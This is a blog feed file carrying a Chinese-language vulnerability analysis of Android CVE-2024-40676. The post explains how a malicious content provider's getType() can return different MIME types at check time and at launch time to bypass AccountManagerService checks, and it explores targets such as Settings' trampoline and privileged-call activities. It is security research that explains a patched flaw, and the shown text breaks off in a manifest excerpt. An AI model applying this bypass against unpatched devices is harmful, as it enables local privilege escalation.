-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathatom.xml
475 lines (267 loc) · 763 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>残页的小博客</title>
<link href="/atom.xml" rel="self"/>
<link href="https://blog.canyie.top/"/>
<updated>2024-11-07T03:34:02.345Z</updated>
<id>https://blog.canyie.top/</id>
<author>
<name>残页</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>Self-changing Data Type - CVE-2024-40676 漏洞分析</title>
<link href="https://blog.canyie.top/2024/11/07/self-changing-data-type/"/>
<id>https://blog.canyie.top/2024/11/07/self-changing-data-type/</id>
<published>2024-11-07T02:00:00.000Z</published>
<updated>2024-11-07T03:34:02.345Z</updated>
<content type="html"><![CDATA[<p>今年 10 月份的时候,Android 安全公告用 CVE-2024-40676 的编号公布了一个很奇怪的 <a href="https://android.googlesource.com/platform/frameworks/base/+/e8a53246607b52b15269f97aef9ba7e928ba2473" target="_blank" rel="noopener">patch</a>。<br>AccountManagerService checkKeyIntent() 负责检查 account authenticator 传回的 intent,确保它安全再传回给 caller,防止 launch anywhere 漏洞。这个补丁看起来很暴力也很奇怪,直接 ban 了所有带有 content URI 的 intent,似乎完全不考虑兼容性。是什么样的漏洞才要上如此暴力的修复方法?<br>注:如下全是我的猜测,由于联系不到漏洞作者本人,无法确认这是否就是原本的问题。</p><a id="more"></a><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">diff --git a/services/core/java/com/android/server/accounts/AccountManagerService.java b/services/core/java/com/android/server/accounts/AccountManagerService.java</span><br><span class="line">index b45bcb4..b59a5ea 100644</span><br><span class="line"><span class="comment">--- a/services/core/java/com/android/server/accounts/AccountManagerService.java</span></span><br><span class="line"><span class="comment">+++ b/services/core/java/com/android/server/accounts/AccountManagerService.java</span></span><br><span class="line"><span class="meta">@@ -4959,6 +4959,9 @@</span></span><br><span class="line"> if (resolveInfo == null) {</span><br><span class="line"> return false;</span><br><span class="line"> }</span><br><span class="line"><span class="addition">+ if ("content".equals(intent.getScheme())) {</span></span><br><span class="line"><span class="addition">+ return false;</span></span><br><span class="line"><span class="addition">+ }</span></span><br><span class="line"> ActivityInfo targetActivityInfo = resolveInfo.activityInfo;</span><br><span class="line"> int targetUid = targetActivityInfo.applicationInfo.uid;</span><br><span class="line"> PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);</span><br></pre></td></tr></table></figure><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>前置知识:launch anywhere 漏洞,这里推荐几篇解析:</p><ul><li><a href="http://retme.net/index.php/2014/08/20/launchAnyWhere.html" target="_blank" rel="noopener">retme:launchAnyWhere: Activity组件权限绕过漏洞解析(Google Bug 7699048)</a></li><li><a href="https://xuanxuanblingbling.github.io/ctf/android/2024/04/13/launchanywhere01" target="_blank" rel="noopener">clang 裁缝店:LaunchAnyWhere 漏洞现世:Google Bug 7699048 复现与分析(Android4.3)</a></li></ul><p>读者也可以自己上网搜索。</p><h3 id="猜想:URI-grant?"><a href="#猜想:URI-grant?" class="headerlink" title="猜想:URI grant?"></a>猜想:URI grant?</h3><p>初看这个补丁,虽然提交信息非常谜语人,但很明显它和 content URI 相关,而且很明显这个 intent 最后会被返回给调用者进行 startActivity,很容易能想到的就是 URI grant。<br>然而这个猜想被官方公布的信息否决了,从其他地方拿到了这个漏洞的描述和报告原标题,其中 Summary 是报告标题,Details 是官方给出的漏洞描述:</p><blockquote><p>Summary: In AccountManagerService’s checkKeyIntent method there is a possible way to bypass Intent check and lead to LaunchAnyWhere on All Android version<br>Details: In checkKeyIntent of AccountManagerService.java, there is a possible way to bypass intent security check and install an unknown app due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.</p></blockquote><p>虽然仍然是谜语人,但其中出现了 <code>Launch Anywhere</code> 和 <code>install an unknown app</code> 字眼,显然这不可能是单纯的 URI grant 能完成的事。思路自此中断了……吗?</p><h3 id="抽丝剥茧:影响-resolveActivity-流程?"><a href="#抽丝剥茧:影响-resolveActivity-流程?" class="headerlink" title="抽丝剥茧:影响 resolveActivity 流程?"></a>抽丝剥茧:影响 resolveActivity 流程?</h3><p>如果你对 AccountManagerService 及 2014 年 Launch Anywhere 漏洞足够熟悉,你应该会知道补丁 <code>checkKeyIntent()</code> 的详细实现。简单来说,它先检查了 Bundle 中的 intent 在反序列化前后一致,然后调用 <code>resolveActivityAsUser()</code> 检查该 intent 指向的 activity 是否能启动,所有检查通过后才会返回 bundle 让调用者进行 startActivity。<br>基于上述漏洞信息,再结合补丁及上下文细节,我们暂时得出如下结论:</p><ol><li>它能绕过 checkKeyIntent() 里的安全检查从而启动不安全的 activity</li><li>它需要在 intent 中设置一个 content URI 作为 data 才能实现(废话),而且很可能只需要这一步或者这是最关键的一步,否则不至于上这种暴力补丁</li><li>很可能不是 bundle mismatch 类问题,理由:作者表示此漏洞能在所有 Android 版本上触发,而我个人想不到应该怎么绕过 Lazy Bundle 及 <code>checkKeyIntentParcelledCorrectly()</code> 两重缓解措施,而且考虑到这个补丁只会在 <code>intent != null</code> 时触发,如果是 bundle mismatch 的话,直接让它在 AccountManagerService 中拿到 null 即可绕过。从这一点我们还可以推出 AccountManagerService 与 caller 拿到的 intent 应该是相同的。</li></ol><p>基于 3 我们假设这里没有 self-changing Bundle 等技术会影响到 intent 本身,往下推得 AccountManagerService 和 caller 拿到的 intent 相同,那剩下的就只有一点可以怀疑:难道是 AccountManagerService resolveActivity() 到的结果与 caller 实际调用 startActivity 启动的 activity 存在差异?</p><h3 id="Intent-Filter-Data-Mimetype"><a href="#Intent-Filter-Data-Mimetype" class="headerlink" title="Intent Filter Data Mimetype"></a>Intent Filter Data Mimetype</h3><p>如果读者有医学相关的经验,应该会知道医学上有个“一元论”,即对于病人的多种症状或现象,首先尝试用单一的一种疾病去解释所有症状,而不是单独片面去看待每个症状将其认为是多个疾病叠加而成。我们这里尝试根据有限的信息去尝试找出问题所在,和医生诊断疾病很像,也可以尝试用这种思维去思考。<br>翻看 <code>startActivity()</code> 的流程,可以发现它解析目标组件也是用的 <code>resolveActivity()</code>,如果说两边存在差异,先基于一元论假设 PackageManagerService resolveActivity() 本身被正确实现没有 bug,那么一定是两个调用中间有什么东西被改变了,即我们说的 TOCTTOU 问题。<br>但是这样我们还是没什么头绪,因为能够影响 intent 解析结果的因素太多了。如果上述情况发生,那么几乎可以肯定这个 intent 一定是一个隐式 intent(显式 intent 连组件名都设置好了,没什么操作余地);再考虑到补丁中的 content uri data,可以大胆假设,content uri 会影响隐式 intent 解析流程,导致两次解析到不一样的结果。</p><p>我们知道一个组件只有声明了 intent filter 而且匹配,才有可能被选中为隐式 intent 的目标。翻看 intent filter 的<a href="https://developer.android.com/guide/topics/manifest/data-element" target="_blank" rel="noopener">文档</a>,我们可以发现其实它是支持通过 intent data 来匹配的,只需要声明一个 data 标签:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">data</span> <span class="attr">android:scheme</span>=<span class="string">"string"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:host</span>=<span class="string">"string"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:port</span>=<span class="string">"string"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:path</span>=<span class="string">"string"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:pathPattern</span>=<span class="string">"string"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:pathPrefix</span>=<span class="string">"string"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:pathSuffix</span>=<span class="string">"string"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:pathAdvancedPattern</span>=<span class="string">"string"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:mimeType</span>=<span class="string">"string"</span> /></span></span><br></pre></td></tr></table></figure><p>这里其实还漏了一些属性,比如 android:ssp 这个属性就没提到。里面的大部分属性,比如 scheme、host 这种基本上都是直接从 URI String 中解析出来的,而根据上述的分析,攻击者应该是没法让 data 这个 uri 本身发生改变的(否则直接改掉 scheme 就直接绕过补丁了),所以应该跟本漏洞没多大关联。看起来能搞些名堂的就只有最后的 mimeType 属性?<br>至于什么是 Mime Type 不了解的读者可以自行百度,这里就不赘述了。这里引入了一个很有趣的问题,我们知道对于 file:///sdcard/abc.txt 我们可以一眼看出来它的 mime type 是 text/plain,而对于 content URI,它的值需要调用其指向的 content provider 才能获得,那么它的 type 是怎么拿到的呢?<br>答案很简单:也是调用 content provider 获取。根据官方<a href="https://developer.android.com/reference/android/content/ContentProvider#getType(android.net.Uri)" target="_blank" rel="noopener">文档</a>, ContentProvider 有一个专门的 getType() 方法用来返回 mime type。因为它是主动调用我们自己才能得到结果,换句话说也就是结果是通过执行我们自己自定义的代码得到的,这里其实操作空间就很大了。<br>还有一个问题,这个 type 会被实际用在解析流程中吗?答案是肯定的。简单追一下 resolveActivity() 的流程,<a href="https://cs.android.com/android/platform/superproject/+/android-15.0.0_r1:frameworks/base/core/java/android/app/ApplicationPackageManager.java;l=1466-1477" target="_blank" rel="noopener">甚至不用追进 system server 里就能看见</a>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> ResolveInfo <span class="title">resolveActivityAsUser</span><span class="params">(Intent intent, ResolveInfoFlags flags, <span class="keyword">int</span> userId)</span> </span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">return</span> mPM.resolveIntent(</span><br><span class="line"> intent,</span><br><span class="line"> intent.resolveTypeIfNeeded(mContext.getContentResolver()),</span><br><span class="line"> updateFlagsForComponent(flags.getValue(), userId, intent),</span><br><span class="line"> userId);</span><br><span class="line"> } <span class="keyword">catch</span> (RemoteException e) {</span><br><span class="line"> <span class="keyword">throw</span> e.rethrowFromSystemServer();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Return the MIME data type of this intent, only if it will be needed for</span></span><br><span class="line"><span class="comment"> * intent resolution. This is not generally useful for application code;</span></span><br><span class="line"><span class="comment"> * it is used by the frameworks for communicating with back-end system</span></span><br><span class="line"><span class="comment"> * services.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> resolver A ContentResolver that can be used to determine the MIME</span></span><br><span class="line"><span class="comment"> * type of the intent's data.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> The MIME type of this intent, or null if it is unknown or not</span></span><br><span class="line"><span class="comment"> * needed.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@Nullable</span> <span class="function">String <span class="title">resolveTypeIfNeeded</span><span class="params">(@NonNull ContentResolver resolver)</span> </span>{</span><br><span class="line"> <span class="comment">// Match logic in PackageManagerService#applyEnforceIntentFilterMatching(...)</span></span><br><span class="line"> <span class="keyword">if</span> (mComponent != <span class="keyword">null</span> && (Process.myUid() == Process.ROOT_UID</span><br><span class="line"> || Process.myUid() == Process.SYSTEM_UID</span><br><span class="line"> || mComponent.getPackageName().equals(ActivityThread.currentPackageName()))) {</span><br><span class="line"> <span class="keyword">return</span> mType;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> resolveType(resolver);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Return the MIME data type of this intent. If the type field is</span></span><br><span class="line"><span class="comment"> * explicitly set, that is simply returned. Otherwise, if the data is set,</span></span><br><span class="line"><span class="comment"> * the type of that data is returned. If neither fields are set, a null is</span></span><br><span class="line"><span class="comment"> * returned.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> resolver A ContentResolver that can be used to determine the MIME</span></span><br><span class="line"><span class="comment"> * type of the intent's data.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> The MIME type of this intent.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@see</span> #getType</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@see</span> #resolveType(Context)</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@Nullable</span> <span class="function">String <span class="title">resolveType</span><span class="params">(@NonNull ContentResolver resolver)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (mType != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">return</span> mType;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (mData != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="string">"content"</span>.equals(mData.getScheme())) {</span><br><span class="line"> <span class="keyword">return</span> resolver.getType(mData);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Return the MIME type of the given content URL.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> url A Uri identifying content (either a list or specific type),</span></span><br><span class="line"><span class="comment"> * using the content:// scheme.</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> A MIME type for the content, or null if the URL is invalid or the type is unknown</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="meta">@Nullable</span> <span class="function">String <span class="title">getType</span><span class="params">(@NonNull Uri url)</span> </span>{</span><br><span class="line"> Objects.requireNonNull(url, <span class="string">"url"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">if</span> (mWrapped != <span class="keyword">null</span>) <span class="keyword">return</span> mWrapped.getType(url);</span><br><span class="line"> } <span class="keyword">catch</span> (RemoteException e) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> IContentProvider provider = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> provider = acquireProvider(url);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> <span class="comment">// if unable to acquire the provider, then it should try to get the type</span></span><br><span class="line"> <span class="comment">// using getTypeAnonymous via ActivityManagerService</span></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (provider != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">final</span> StringResultListener resultListener = <span class="keyword">new</span> StringResultListener();</span><br><span class="line"> provider.getTypeAsync(mContext.getAttributionSource(),</span><br><span class="line"> url, <span class="keyword">new</span> RemoteCallback(resultListener));</span><br><span class="line"> resultListener.waitForResult(CONTENT_PROVIDER_TIMEOUT_MILLIS);</span><br><span class="line"> <span class="keyword">if</span> (resultListener.exception != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">throw</span> resultListener.exception;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> resultListener.result;</span><br><span class="line"> } <span class="keyword">catch</span> (RemoteException e) {</span><br><span class="line"> <span class="comment">// Arbitrary and not worth documenting, as Activity</span></span><br><span class="line"> <span class="comment">// Manager will kill this process shortly anyway.</span></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> } <span class="keyword">catch</span> (java.lang.Exception e) {</span><br><span class="line"> Log.w(TAG, <span class="string">"Failed to get type for: "</span> + url + <span class="string">" ("</span> + e.getMessage() + <span class="string">")"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> } <span class="keyword">finally</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> releaseProvider(provider);</span><br><span class="line"> } <span class="keyword">catch</span> (java.lang.NullPointerException e) {</span><br><span class="line"> <span class="comment">// does nothing, Binder connection already null</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>如果你去看 startActivity 的源码,你会发现这个 resolved type 也会被用到,这里不赘述。也就是说,这个 type 可以影响解析的结果。<br>至此答案就已经呼之欲出了:我们可以在这个 content provider 的 getType() 中动手脚,让其进行安全检查时和实际启动 activity 时得到两个不同的 type,就能绕过检查启动恶意 activity!</p><h2 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h2><p>有了如上的分析积累,接下来复现它就是很简单的事。我们已知 AccountManagerService 只允许启动我们 app 自己的 activity (还有两个系统自己的 activity 但是在这个漏洞中完全没用),那么我们需要自己声明一个 activity 让它匹配一个 mime type,然后在 Content Provider 中进行一个简单的计数来决定返回哪个 mime type。<br>很明显,这个漏洞本身只允许我们启动接收隐式 intent 的 activity,那我们能选择攻击什么组件,又能造成多大的危害呢?</p><h3 id="尝试1:Re-Redirection?"><a href="#尝试1:Re-Redirection?" class="headerlink" title="尝试1:Re-Redirection?"></a>尝试1:Re-Redirection?</h3><p>首先想到的是,如果我们能通过隐式 intent 启动某个受保护 activity,而这个 activity 又能按我们意图启动其他组件,例如从 extras 里拿到一个 intent 然后直接发送出去,那么我们通过这种二次重定向就能调用到没有声明 intent filter 的组件,大大扩展我们的攻击面。<br>那么有没有这样的 activity 呢?有。Settings 中有一个叫做 SearchResultTrampoline 的 activity,可以通过发送 <code>com.android.settings.SEARCH_RESULT_TRAMPOLINE</code> 启动,其本身会在校验调用者为 Settings 本身后从 extras 取出调用者指定的参数,然后启动任意 activity 或 Settings 内的任意 fragment。更美好的是,这里的入参 intent 甚至也是以一个 URI String 的方式给出,所以即使是我们没法往里面放入 Parcelable 对象的情况也可以利用这个 activity 实现 launch anywhere。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">activity</span> <span class="attr">android:name</span>=<span class="string">".search.SearchResultTrampoline"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:theme</span>=<span class="string">"@android:style/Theme.NoDisplay"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:excludeFromRecents</span>=<span class="string">"true"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:knownActivityEmbeddingCerts</span>=<span class="string">"@array/config_known_host_certs"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:exported</span>=<span class="string">"true"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">intent-filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">"com.android.settings.SEARCH_RESULT_TRAMPOLINE"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">category</span> <span class="attr">android:name</span>=<span class="string">"android.intent.category.DEFAULT"</span> /></span></span><br><span class="line"> <span class="tag"></<span class="name">intent-filter</span>></span></span><br><span class="line"><span class="tag"></<span class="name">activity</span>></span></span><br></pre></td></tr></table></figure><p>看起来很美好,是吧?不过这个 intent filter 并没有指定 <code><data></code> 标签,这种情况我们能利用吗?一个很自然的思路就是,我们可以通过把 type 设置成 null 的方式来让一个带有 content URI 的隐式 intent 匹配到它吗?<br>很遗憾的是,此路不通。尝试自己声明一个 activity 接收同 action 再加上一个 mimeType 为 <code>application/canyie</code> 的 data 标签,经过实验,type 设置为 <code>application/canyie</code> 时确实可以解析到自己的 activity,但设置为 null 即会触发 ActivityNotFoundException。<br>那还有这样的 activity 吗?还有很多,比如 ChooserActivity 和 ResolverActivity,两者都是 framework 中的自带 activity,会通过 <code>startAsCaller</code> 的方式以调用者的权限发送指定 intent。如果我们能让 system uid 启动这两个 activity,就能再次获得以 system uid 发送任意 intent 的能力。可惜的是,ResolverActivity 并没有声明任何 intent filter,而 ChooserActivity 虽然声明了 android.intent.action.CHOOSER 这个 action,但同样也没有声明 data 标签。其他类似的 activity 也大多是如此情况,我并没有在 AOSP 中找到符合条件的 activity,所以只能放弃这条路。</p><h3 id="尝试2:CALL-PRIVILEGED?"><a href="#尝试2:CALL-PRIVILEGED?" class="headerlink" title="尝试2:CALL_PRIVILEGED?"></a>尝试2:CALL_PRIVILEGED?</h3><p>我们已经知道,利用此漏洞只能启动带有 data 标签 intent filter 的 activity。满足这些条件而且本身又要有危害的 activity 很少,复现 Launch Anywhere 类漏洞时我们常用的 PlatLogoActivity 还有重设锁屏密码的页面都没法用这种方法启动。不过我们还常用 android.intent.action.CALL_PRIVILEGED 这个 action 让手机直接拨打任意电话包括紧急电话来完成复现,来看看哪个 activity 处理这个 action:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"><!-- Works like CallActivity with CALL_PRIVILEGED instead of CALL intent.</span></span><br><span class="line"><span class="comment"> CALL_PRIVILEGED allows calls to emergency numbers unlike CALL which disallows it.</span></span><br><span class="line"><span class="comment"> Intent-sender must have the CALL_PRIVILEGED permission or the broadcast will not be</span></span><br><span class="line"><span class="comment"> processed. High priority of 1000 is used in all intent filters to prevent anything but</span></span><br><span class="line"><span class="comment"> the system from processing this intent (b/8871505). --></span></span><br><span class="line"><span class="tag"><<span class="name">activity-alias</span> <span class="attr">android:name</span>=<span class="string">"PrivilegedCallActivity"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:targetActivity</span>=<span class="string">".components.UserCallActivity"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:permission</span>=<span class="string">"android.permission.CALL_PRIVILEGED"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:exported</span>=<span class="string">"true"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:process</span>=<span class="string">":ui"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">intent-filter</span> <span class="attr">android:priority</span>=<span class="string">"1000"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">"android.intent.action.CALL_PRIVILEGED"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">category</span> <span class="attr">android:name</span>=<span class="string">"android.intent.category.DEFAULT"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:scheme</span>=<span class="string">"tel"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">intent-filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">intent-filter</span> <span class="attr">android:priority</span>=<span class="string">"1000"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">android:icon</span>=<span class="string">"@drawable/ic_launcher_sip_call"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">"android.intent.action.CALL_PRIVILEGED"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">category</span> <span class="attr">android:name</span>=<span class="string">"android.intent.category.DEFAULT"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">data</span> <span class="attr">android:scheme</span>=<span class="string">"sip"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">intent-filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">intent-filter</span> <span class="attr">android:priority</span>=<span class="string">"1000"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">"android.intent.action.CALL_PRIVILEGED"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">category</span> <span class="attr">android:name</span>=<span 